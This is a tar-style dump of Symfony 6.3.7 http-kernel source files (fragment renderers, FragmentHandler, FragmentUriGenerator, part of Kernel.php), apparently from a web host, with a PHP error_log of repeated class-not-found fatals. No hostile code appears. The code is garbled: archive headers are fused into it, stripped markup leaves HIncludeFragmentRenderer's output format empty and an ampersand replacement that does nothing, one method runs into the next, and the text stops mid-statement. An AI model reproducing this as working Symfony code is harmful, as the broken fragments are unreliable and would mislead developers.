Symfony\Component\HttpKernel\Controller\ControllerReference; use Symfony\Component\HttpKernel\UriSigner; use Twig\Environment; /** * Implements the Hinclude rendering strategy. * * @author Fabien Potencier */ class HIncludeFragmentRenderer extends RoutableFragmentRenderer { private ?string $globalDefaultTemplate; private ?UriSigner $signer; private ?Environment $twig; private string $charset; /** * @param string|null $globalDefaultTemplate The global default content (it can be a template name or the content) */ public function __construct(Environment $twig = null, UriSigner $signer = null, string $globalDefaultTemplate = null, string $charset = 'utf-8') { $this->twig = $twig; $this->globalDefaultTemplate = $globalDefaultTemplate; $this->signer = $signer; $this->charset = $charset; } /** * Checks if a templating engine has been set. */ public function hasTemplating(): bool { return null !== $this->twig; } /** * Additional available options: * * * default: The default content (it can be a template name or the content) * * id: An optional hx:include tag id attribute * * attributes: An optional array of hx:include tag attributes */ public function render(string|ControllerReference $uri, Request $request, array $options = []): Response { if ($uri instanceof ControllerReference) { $uri = (new FragmentUriGenerator($this->fragmentPath, $this->signer))->generate($uri, $request); } // We need to replace ampersands in the URI with the encoded form in order to return valid html/xml content. $uri = str_replace('&', '&', $uri); $template = $options['default'] ?? $this->globalDefaultTemplate; if (null !== $this->twig && $template && $this->twig->getLoader()->exists($template)) { $content = $this->twig->render($template); } else { $content = $template; } $attributes = isset($options['attributes']) && \is_array($options['attributes']) ? $options['attributes'] : []; if (isset($options['id']) && $options['id']) { $attributes['id'] = $options['id']; } $renderedAttributes = ''; if (\count($attributes) > 0) { $flags = \ENT_QUOTES | \ENT_SUBSTITUTE; foreach ($attributes as $attribute => $value) { $renderedAttributes .= sprintf( ' %s="%s"', htmlspecialchars($attribute, $flags, $this->charset, false), htmlspecialchars($value, $flags, $this->charset, false) ); } } return new Response(sprintf('%s', $uri, $renderedAttributes, $content)); } public function getName(): string { return 'hinclude'; } } http-kernel/Fragment/SsiFragmentRenderer.php000064400000001026151113511700015160 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Fragment; /** * Implements the SSI rendering strategy. * * @author Sebastian Krebs */ class SsiFragmentRenderer extends AbstractSurrogateFragmentRenderer { public function getName(): string { return 'ssi'; } } http-kernel/Fragment/FragmentUriGeneratorInterface.php000064400000002012151113511700017156 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Fragment; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Controller\ControllerReference; /** * Interface implemented by rendering strategies able to generate a URL for a fragment. * * @author Kévin Dunglas */ interface FragmentUriGeneratorInterface { /** * Generates a fragment URI for a given controller. * * @param bool $absolute Whether to generate an absolute URL or not * @param bool $strict Whether to allow non-scalar attributes or not * @param bool $sign Whether to sign the URL or not */ public function generate(ControllerReference $controller, Request $request = null, bool $absolute = false, bool $strict = true, bool $sign = true): string; } http-kernel/Fragment/error_log000064400000024725151113511700012466 0ustar00[19-Nov-2025 14:41:39 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Fragment\FragmentRendererInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/RoutableFragmentRenderer.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/RoutableFragmentRenderer.php on line 23 [19-Nov-2025 14:45:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\RoutableFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/HIncludeFragmentRenderer.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/HIncludeFragmentRenderer.php on line 25 [19-Nov-2025 14:48:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\AbstractSurrogateFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/SsiFragmentRenderer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/SsiFragmentRenderer.php on line 19 [19-Nov-2025 14:49:39 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\AbstractSurrogateFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/EsiFragmentRenderer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/EsiFragmentRenderer.php on line 19 [19-Nov-2025 14:56:39 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Fragment\FragmentUriGeneratorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/FragmentUriGenerator.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/FragmentUriGenerator.php on line 25 [19-Nov-2025 14:58:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\RoutableFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/AbstractSurrogateFragmentRenderer.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/AbstractSurrogateFragmentRenderer.php on line 25 [19-Nov-2025 15:03:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\RoutableFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/InlineFragmentRenderer.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/InlineFragmentRenderer.php on line 28 [19-Nov-2025 23:04:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\RoutableFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/InlineFragmentRenderer.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/InlineFragmentRenderer.php on line 28 [19-Nov-2025 23:06:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Fragment\FragmentRendererInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/RoutableFragmentRenderer.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/RoutableFragmentRenderer.php on line 23 [19-Nov-2025 23:09:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\AbstractSurrogateFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/SsiFragmentRenderer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/SsiFragmentRenderer.php on line 19 [19-Nov-2025 23:10:08 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Fragment\FragmentUriGeneratorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/FragmentUriGenerator.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/FragmentUriGenerator.php on line 25 [19-Nov-2025 23:12:15 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\AbstractSurrogateFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/EsiFragmentRenderer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/EsiFragmentRenderer.php on line 19 [19-Nov-2025 23:13:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\RoutableFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/HIncludeFragmentRenderer.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/HIncludeFragmentRenderer.php on line 25 [19-Nov-2025 23:18:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\RoutableFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/AbstractSurrogateFragmentRenderer.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/AbstractSurrogateFragmentRenderer.php on line 25 [25-Nov-2025 03:01:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\AbstractSurrogateFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/EsiFragmentRenderer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/EsiFragmentRenderer.php on line 19 [25-Nov-2025 03:02:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\RoutableFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/AbstractSurrogateFragmentRenderer.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/AbstractSurrogateFragmentRenderer.php on line 25 [25-Nov-2025 03:23:44 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\RoutableFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/HIncludeFragmentRenderer.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/HIncludeFragmentRenderer.php on line 25 [25-Nov-2025 03:32:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\AbstractSurrogateFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/SsiFragmentRenderer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/SsiFragmentRenderer.php on line 19 [25-Nov-2025 05:25:30 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\RoutableFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/InlineFragmentRenderer.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/InlineFragmentRenderer.php on line 28 [25-Nov-2025 05:28:21 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Fragment\FragmentRendererInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/RoutableFragmentRenderer.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/RoutableFragmentRenderer.php on line 23 [26-Nov-2025 00:38:04 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\RoutableFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/AbstractSurrogateFragmentRenderer.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/AbstractSurrogateFragmentRenderer.php on line 25 [26-Nov-2025 00:38:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\RoutableFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/HIncludeFragmentRenderer.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/HIncludeFragmentRenderer.php on line 25 [26-Nov-2025 01:35:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\AbstractSurrogateFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/EsiFragmentRenderer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/EsiFragmentRenderer.php on line 19 [26-Nov-2025 01:55:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\AbstractSurrogateFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/SsiFragmentRenderer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/SsiFragmentRenderer.php on line 19 [26-Nov-2025 02:07:50 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Fragment\RoutableFragmentRenderer" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/InlineFragmentRenderer.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/InlineFragmentRenderer.php on line 28 [26-Nov-2025 03:35:05 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Fragment\FragmentRendererInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/RoutableFragmentRenderer.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/RoutableFragmentRenderer.php on line 23 [26-Nov-2025 03:35:09 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Fragment\FragmentUriGeneratorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/FragmentUriGenerator.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Fragment/FragmentUriGenerator.php on line 25 http-kernel/Fragment/FragmentHandler.php000064400000007144151113511700014317 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Fragment; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\StreamedResponse; use Symfony\Component\HttpKernel\Controller\ControllerReference; use Symfony\Component\HttpKernel\Exception\HttpException; /** * Renders a URI that represents a resource fragment. * * This class handles the rendering of resource fragments that are included into * a main resource. The handling of the rendering is managed by specialized renderers. * * @author Fabien Potencier * * @see FragmentRendererInterface */ class FragmentHandler { private bool $debug; private array $renderers = []; private RequestStack $requestStack; /** * @param FragmentRendererInterface[] $renderers An array of FragmentRendererInterface instances * @param bool $debug Whether the debug mode is enabled or not */ public function __construct(RequestStack $requestStack, array $renderers = [], bool $debug = false) { $this->requestStack = $requestStack; foreach ($renderers as $renderer) { $this->addRenderer($renderer); } $this->debug = $debug; } /** * Adds a renderer. * * @return void */ public function addRenderer(FragmentRendererInterface $renderer) { $this->renderers[$renderer->getName()] = $renderer; } /** * Renders a URI and returns the Response content. * * Available options: * * * ignore_errors: true to return an empty string in case of an error * * @throws \InvalidArgumentException when the renderer does not exist * @throws \LogicException when no main request is being handled */ public function render(string|ControllerReference $uri, string $renderer = 'inline', array $options = []): ?string { if (!isset($options['ignore_errors'])) { $options['ignore_errors'] = !$this->debug; } if (!isset($this->renderers[$renderer])) { throw new \InvalidArgumentException(sprintf('The "%s" renderer does not exist.', $renderer)); } if (!$request = $this->requestStack->getCurrentRequest()) { throw new \LogicException('Rendering a fragment can only be done when handling a Request.'); } return $this->deliver($this->renderers[$renderer]->render($uri, $request, $options)); } /** * Delivers the Response as a string. * * When the Response is a StreamedResponse, the content is streamed immediately * instead of being returned. * * @return string|null The Response content or null when the Response is streamed * * @throws \RuntimeException when the Response is not successful */ protected function deliver(Response $response): ?string { if (!$response->isSuccessful()) { $responseStatusCode = $response->getStatusCode(); throw new \RuntimeException(sprintf('Error when rendering "%s" (Status code is %d).', $this->requestStack->getCurrentRequest()->getUri(), $responseStatusCode), 0, new HttpException($responseStatusCode)); } if (!$response instanceof StreamedResponse) { return $response->getContent(); } $response->sendContent(); return null; } } http-kernel/Fragment/AbstractSurrogateFragmentRenderer.php000064400000007375151113511710020077 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Fragment; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Controller\ControllerReference; use Symfony\Component\HttpKernel\HttpCache\SurrogateInterface; use Symfony\Component\HttpKernel\UriSigner; /** * Implements Surrogate rendering strategy. * * @author Fabien Potencier */ abstract class AbstractSurrogateFragmentRenderer extends RoutableFragmentRenderer { private ?SurrogateInterface $surrogate; private FragmentRendererInterface $inlineStrategy; private ?UriSigner $signer; /** * The "fallback" strategy when surrogate is not available should always be an * instance of InlineFragmentRenderer. * * @param FragmentRendererInterface $inlineStrategy The inline strategy to use when the surrogate is not supported */ public function __construct(SurrogateInterface $surrogate = null, FragmentRendererInterface $inlineStrategy, UriSigner $signer = null) { $this->surrogate = $surrogate; $this->inlineStrategy = $inlineStrategy; $this->signer = $signer; } /** * Note that if the current Request has no surrogate capability, this method * falls back to use the inline rendering strategy. * * Additional available options: * * * alt: an alternative URI to render in case of an error * * comment: a comment to add when returning the surrogate tag * * absolute_uri: whether to generate an absolute URI or not. Default is false * * Note, that not all surrogate strategies support all options. For now * 'alt' and 'comment' are only supported by ESI. * * @see Symfony\Component\HttpKernel\HttpCache\SurrogateInterface */ public function render(string|ControllerReference $uri, Request $request, array $options = []): Response { if (!$this->surrogate || !$this->surrogate->hasSurrogateCapability($request)) { if ($uri instanceof ControllerReference && $this->containsNonScalars($uri->attributes)) { throw new \InvalidArgumentException('Passing non-scalar values as part of URI attributes to the ESI and SSI rendering strategies is not supported. Use a different rendering strategy or pass scalar values.'); } return $this->inlineStrategy->render($uri, $request, $options); } $absolute = $options['absolute_uri'] ?? false; if ($uri instanceof ControllerReference) { $uri = $this->generateSignedFragmentUri($uri, $request, $absolute); } $alt = $options['alt'] ?? null; if ($alt instanceof ControllerReference) { $alt = $this->generateSignedFragmentUri($alt, $request, $absolute); } $tag = $this->surrogate->renderIncludeTag($uri, $alt, $options['ignore_errors'] ?? false, $options['comment'] ?? ''); return new Response($tag); } private function generateSignedFragmentUri(ControllerReference $uri, Request $request, bool $absolute): string { return (new FragmentUriGenerator($this->fragmentPath, $this->signer))->generate($uri, $request, $absolute); } private function containsNonScalars(array $values): bool { foreach ($values as $value) { if (\is_scalar($value) || null === $value) { continue; } if (!\is_array($value) || $this->containsNonScalars($value)) { return true; } } return false; } } http-kernel/Fragment/FragmentUriGenerator.php000064400000006716151113511710015355 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Fragment; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpKernel\Controller\ControllerReference; use Symfony\Component\HttpKernel\UriSigner; /** * Generates a fragment URI. * * @author Kévin Dunglas * @author Fabien Potencier */ final class FragmentUriGenerator implements FragmentUriGeneratorInterface { private string $fragmentPath; private ?UriSigner $signer; private ?RequestStack $requestStack; public function __construct(string $fragmentPath, UriSigner $signer = null, RequestStack $requestStack = null) { $this->fragmentPath = $fragmentPath; $this->signer = $signer; $this->requestStack = $requestStack; } public function generate(ControllerReference $controller, Request $request = null, bool $absolute = false, bool $strict = true, bool $sign = true): string { if (null === $request && (null === $this->requestStack || null === $request = $this->requestStack->getCurrentRequest())) { throw new \LogicException('Generating a fragment URL can only be done when handling a Request.'); } if ($sign && null === $this->signer) { throw new \LogicException('You must use a URI when using the ESI rendering strategy or set a URL signer.'); } if ($strict) { $this->checkNonScalar($controller->attributes); } // We need to forward the current _format and _locale values as we don't have // a proper routing pattern to do the job for us. // This makes things inconsistent if you switch from rendering a controller // to rendering a route if the route pattern does not contain the special // _format and _locale placeholders. if (!isset($controller->attributes['_format'])) { $controller->attributes['_format'] = $request->getRequestFormat(); } if (!isset($controller->attributes['_locale'])) { $controller->attributes['_locale'] = $request->getLocale(); } $controller->attributes['_controller'] = $controller->controller; $controller->query['_path'] = http_build_query($controller->attributes, '', '&'); $path = $this->fragmentPath.'?'.http_build_query($controller->query, '', '&'); // we need to sign the absolute URI, but want to return the path only. $fragmentUri = $sign || $absolute ? $request->getUriForPath($path) : $request->getBaseUrl().$path; if (!$sign) { return $fragmentUri; } $fragmentUri = $this->signer->sign($fragmentUri); return $absolute ? $fragmentUri : substr($fragmentUri, \strlen($request->getSchemeAndHttpHost())); } private function checkNonScalar(array $values): void { foreach ($values as $key => $value) { if (\is_array($value)) { $this->checkNonScalar($value); } elseif (!\is_scalar($value) && null !== $value) { throw new \LogicException(sprintf('Controller attributes cannot contain non-scalar/non-null values (value for key "%s" is not a scalar or null).', $key)); } } } } http-kernel/Kernel.php000064400000072061151113511710010734 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel; use Symfony\Component\Config\Builder\ConfigBuilderGenerator; use Symfony\Component\Config\ConfigCache; use Symfony\Component\Config\Loader\DelegatingLoader; use Symfony\Component\Config\Loader\LoaderResolver; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\Compiler\PassConfig; use Symfony\Component\DependencyInjection\Compiler\RemoveBuildParametersPass; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\DependencyInjection\Dumper\PhpDumper; use Symfony\Component\DependencyInjection\Dumper\Preloader; use Symfony\Component\DependencyInjection\Extension\ExtensionInterface; use Symfony\Component\DependencyInjection\Loader\ClosureLoader; use Symfony\Component\DependencyInjection\Loader\DirectoryLoader; use Symfony\Component\DependencyInjection\Loader\GlobFileLoader; use Symfony\Component\DependencyInjection\Loader\IniFileLoader; use Symfony\Component\DependencyInjection\Loader\PhpFileLoader; use Symfony\Component\DependencyInjection\Loader\XmlFileLoader; use Symfony\Component\DependencyInjection\Loader\YamlFileLoader; use Symfony\Component\ErrorHandler\DebugClassLoader; use Symfony\Component\Filesystem\Filesystem; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Bundle\BundleInterface; use Symfony\Component\HttpKernel\CacheWarmer\WarmableInterface; use Symfony\Component\HttpKernel\Config\FileLocator; use Symfony\Component\HttpKernel\DependencyInjection\AddAnnotatedClassesToCachePass; use Symfony\Component\HttpKernel\DependencyInjection\MergeExtensionConfigurationPass; // Help opcache.preload discover always-needed symbols class_exists(ConfigCache::class); /** * The Kernel is the heart of the Symfony system. * * It manages an environment made of bundles. * * Environment names must always start with a letter and * they must only contain letters and numbers. * * @author Fabien Potencier */ abstract class Kernel implements KernelInterface, RebootableInterface, TerminableInterface { /** * @var array */ protected $bundles = []; protected $container; protected $environment; protected $debug; protected $booted = false; protected $startTime; private string $projectDir; private ?string $warmupDir = null; private int $requestStackSize = 0; private bool $resetServices = false; /** * @var array */ private static array $freshCache = []; public const VERSION = '6.3.7'; public const VERSION_ID = 60307; public const MAJOR_VERSION = 6; public const MINOR_VERSION = 3; public const RELEASE_VERSION = 7; public const EXTRA_VERSION = ''; public const END_OF_MAINTENANCE = '01/2024'; public const END_OF_LIFE = '01/2024'; public function __construct(string $environment, bool $debug) { if (!$this->environment = $environment) { throw new \InvalidArgumentException(sprintf('Invalid environment provided to "%s": the environment cannot be empty.', get_debug_type($this))); } $this->debug = $debug; } public function __clone() { $this->booted = false; $this->container = null; $this->requestStackSize = 0; $this->resetServices = false; } /** * @return void */ public function boot() { if (true === $this->booted) { if (!$this->requestStackSize && $this->resetServices) { if ($this->container->has('services_resetter')) { $this->container->get('services_resetter')->reset(); } $this->resetServices = false; if ($this->debug) { $this->startTime = microtime(true); } } return; } if (null === $this->container) { $this->preBoot(); } foreach ($this->getBundles() as $bundle) { $bundle->setContainer($this->container); $bundle->boot(); } $this->booted = true; } /** * @return void */ public function reboot(?string $warmupDir) { $this->shutdown(); $this->warmupDir = $warmupDir; $this->boot(); } /** * @return void */ public function terminate(Request $request, Response $response) { if (false === $this->booted) { return; } if ($this->getHttpKernel() instanceof TerminableInterface) { $this->getHttpKernel()->terminate($request, $response); } } /** * @return void */ public function shutdown() { if (false === $this->booted) { return; } $this->booted = false; foreach ($this->getBundles() as $bundle) { $bundle->shutdown(); $bundle->setContainer(null); } $this->container = null; $this->requestStackSize = 0; $this->resetServices = false; } public function handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true): Response { if (!$this->booted) { $container = $this->container ?? $this->preBoot(); if ($container->has('http_cache')) { return $container->get('http_cache')->handle($request, $type, $catch); } } $this->boot(); ++$this->requestStackSize; $this->resetServices = true; try { return $this->getHttpKernel()->handle($request, $type, $catch); } finally { --$this->requestStackSize; } } /** * Gets an HTTP kernel from the container. */ protected function getHttpKernel(): HttpKernelInterface { return $this->container->get('http_kernel'); } public function getBundles(): array { return $this->bundles; } public function getBundle(string $name): BundleInterface { if (!isset($this->bundles[$name])) { throw new \InvalidArgumentException(sprintf('Bundle "%s" does not exist or it is not enabled. Maybe you forgot to add it in the "registerBundles()" method of your "%s.php" file?', $name, get_debug_type($this))); } return $this->bundles[$name]; } public function locateResource(string $name): string { if ('@' !== $name[0]) { throw new \InvalidArgumentException(sprintf('A resource name must start with @ ("%s" given).', $name)); } if (str_contains($name, '..')) { throw new \RuntimeException(sprintf('File name "%s" contains invalid characters (..).', $name)); } $bundleName = substr($name, 1); $path = ''; if (str_contains($bundleName, '/')) { [$bundleName, $path] = explode('/', $bundleName, 2); } $bundle = $this->getBundle($bundleName); if (file_exists($file = $bundle->getPath().'/'.$path)) { return $file; } throw new \InvalidArgumentException(sprintf('Unable to find file "%s".', $name)); } public function getEnvironment(): string { return $this->environment; } public function isDebug(): bool { return $this->debug; } /** * Gets the application root dir (path of the project's composer file). */ public function getProjectDir(): string { if (!isset($this->projectDir)) { $r = new \ReflectionObject($this); if (!is_file($dir = $r->getFileName())) { throw new \LogicException(sprintf('Cannot auto-detect project dir for kernel of class "%s".', $r->name)); } $dir = $rootDir = \dirname($dir); while (!is_file($dir.'/composer.json')) { if ($dir === \dirname($dir)) { return $this->projectDir = $rootDir; } $dir = \dirname($dir); } $this->projectDir = $dir; } return $this->projectDir; } public function getContainer(): ContainerInterface { if (!$this->container) { throw new \LogicException('Cannot retrieve the container from a non-booted kernel.'); } return $this->container; } /** * @internal */ public function setAnnotatedClassCache(array $annotatedClasses): void { file_put_contents(($this->warmupDir ?: $this->getBuildDir()).'/annotations.map', sprintf('debug && null !== $this->startTime ? $this->startTime : -\INF; } public function getCacheDir(): string { return $this->getProjectDir().'/var/cache/'.$this->environment; } public function getBuildDir(): string { // Returns $this->getCacheDir() for backward compatibility return $this->getCacheDir(); } public function getLogDir(): string { return $this->getProjectDir().'/var/log'; } public function getCharset(): string { return 'UTF-8'; } /** * Gets the patterns defining the classes to parse and cache for annotations. */ public function getAnnotatedClassesToCompile(): array { return []; } /** * Initializes bundles. * * @return void * * @throws \LogicException if two bundles share a common name */ protected function initializeBundles() { // init bundles $this->bundles = []; foreach ($this->registerBundles() as $bundle) { $name = $bundle->getName(); if (isset($this->bundles[$name])) { throw new \LogicException(sprintf('Trying to register two bundles with the same name "%s".', $name)); } $this->bundles[$name] = $bundle; } } /** * The extension point similar to the Bundle::build() method. * * Use this method to register compiler passes and manipulate the container during the building process. * * @return void */ protected function build(ContainerBuilder $container) { } /** * Gets the container class. * * @throws \InvalidArgumentException If the generated classname is invalid */ protected function getContainerClass(): string { $class = static::class; $class = str_contains($class, "@anonymous\0") ? get_parent_class($class).str_replace('.', '_', ContainerBuilder::hash($class)) : $class; $class = str_replace('\\', '_', $class).ucfirst($this->environment).($this->debug ? 'Debug' : '').'Container'; if (!preg_match('/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/', $class)) { throw new \InvalidArgumentException(sprintf('The environment "%s" contains invalid characters, it can only contain characters allowed in PHP class names.', $this->environment)); } return $class; } /** * Gets the container's base class. * * All names except Container must be fully qualified. */ protected function getContainerBaseClass(): string { return 'Container'; } /** * Initializes the service container. * * The built version of the service container is used when fresh, otherwise the * container is built. * * @return void */ protected function initializeContainer() { $class = $this->getContainerClass(); $buildDir = $this->warmupDir ?: $this->getBuildDir(); $cache = new ConfigCache($buildDir.'/'.$class.'.php', $this->debug); $cachePath = $cache->getPath(); // Silence E_WARNING to ignore "include" failures - don't use "@" to prevent silencing fatal errors $errorLevel = error_reporting(\E_ALL ^ \E_WARNING); try { if (is_file($cachePath) && \is_object($this->container = include $cachePath) && (!$this->debug || (self::$freshCache[$cachePath] ?? $cache->isFresh())) ) { self::$freshCache[$cachePath] = true; $this->container->set('kernel', $this); error_reporting($errorLevel); return; } } catch (\Throwable $e) { } $oldContainer = \is_object($this->container) ? new \ReflectionClass($this->container) : $this->container = null; try { is_dir($buildDir) ?: mkdir($buildDir, 0777, true); if ($lock = fopen($cachePath.'.lock', 'w+')) { if (!flock($lock, \LOCK_EX | \LOCK_NB, $wouldBlock) && !flock($lock, $wouldBlock ? \LOCK_SH : \LOCK_EX)) { fclose($lock); $lock = null; } elseif (!is_file($cachePath) || !\is_object($this->container = include $cachePath)) { $this->container = null; } elseif (!$oldContainer || $this->container::class !== $oldContainer->name) { flock($lock, \LOCK_UN); fclose($lock); $this->container->set('kernel', $this); return; } } } catch (\Throwable $e) { } finally { error_reporting($errorLevel); } if ($collectDeprecations = $this->debug && !\defined('PHPUNIT_COMPOSER_INSTALL')) { $collectedLogs = []; $previousHandler = set_error_handler(function ($type, $message, $file, $line) use (&$collectedLogs, &$previousHandler) { if (\E_USER_DEPRECATED !== $type 